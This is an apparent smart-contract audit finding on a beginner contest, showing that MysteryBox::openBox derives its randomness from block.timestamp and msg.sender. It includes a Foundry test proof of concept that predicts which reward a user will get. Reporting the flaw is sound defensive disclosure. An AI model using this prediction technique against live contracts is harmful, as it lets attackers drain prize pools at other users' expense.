Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: medium
Valid

Users can predict their reward before opening a box because `randomValue` is a predictable pseudo-random value

Summary

The pseudo-random generated value of the randomValue variable inside the MysteryBox::openBox function can be predicted.

Vulnerability Details

The pseudo-random generation of the randomValue utilizes two values (block.timestamp and msg.sender) which are commonly advised against to use as source of randomness because they can be manipulated or predicted.

https://github.com/Cyfrin/2024-09-mystery-box/blob/281a3e35761a171ba134e574473565a1afb56b68/src/MysteryBox.sol#L47

Proof of Concept

Add the following test to the existing test suite:

function testFuzz_OpenBoxRandomValueCanBePredicted(uint256 timestamp) public {
// Changes the timestamp
vm.warp(timestamp);
// Mystery box unit price
uint256 boxPrice = mysteryBox.boxPrice();
// Sends `boxPrice` ether to `user1`
vm.deal(user1, boxPrice);
// Impersonates `user1`
vm.startPrank(user1);
// Buys a mystery box
mysteryBox.buyBox{value: boxPrice}();
// Calculates the predictable `randomValue` of the {MysteryBox.openBox} function
uint256 randomValue = uint256(keccak256(abi.encodePacked(timestamp, user1))) % 100;
// Opens the bought mystery box
mysteryBox.openBox();
// Expected reward
MysteryBox.Reward memory expectedReward;
// Predicts the reward based on the `randomValue` and the {MysteryBox.openBox} function
if (randomValue < 75) {
expectedReward = MysteryBox.Reward("Coal", 0 ether);
} else if (randomValue < 95) {
expectedReward = MysteryBox.Reward("Bronze Coin", 0.1 ether);
} else if (randomValue < 99) {
expectedReward = MysteryBox.Reward("Silver Coin", 0.5 ether);
} else {
expectedReward = MysteryBox.Reward("Gold Coin", 1 ether);
}
// Actual reward
MysteryBox.Reward[] memory actualRewards = mysteryBox.getRewards();
// Stops impersonating `user1`
vm.stopPrank();
// Assert the prediction
assertEq(actualRewards[0].name, expectedReward.name);
assertEq(actualRewards[0].value, expectedReward.value);
}

And execute it:

forge test --match-test testFuzz_OpenBoxRandomValueCanBePredicted

Impact

Malicious actors can:

  • predict which reward they will win before opening a box;

  • wait until the perfect time to open a box and win the most valuable reward.

Tools Used

  • Manual review

  • GNU Emacs (solidity-mode)

  • Foundry tests

Recommendations

Use a decentralized oracle for random number generation, such as Chainlink VRF.

Updates

Appeal created

inallhonesty Lead Judge 9 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Randomness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.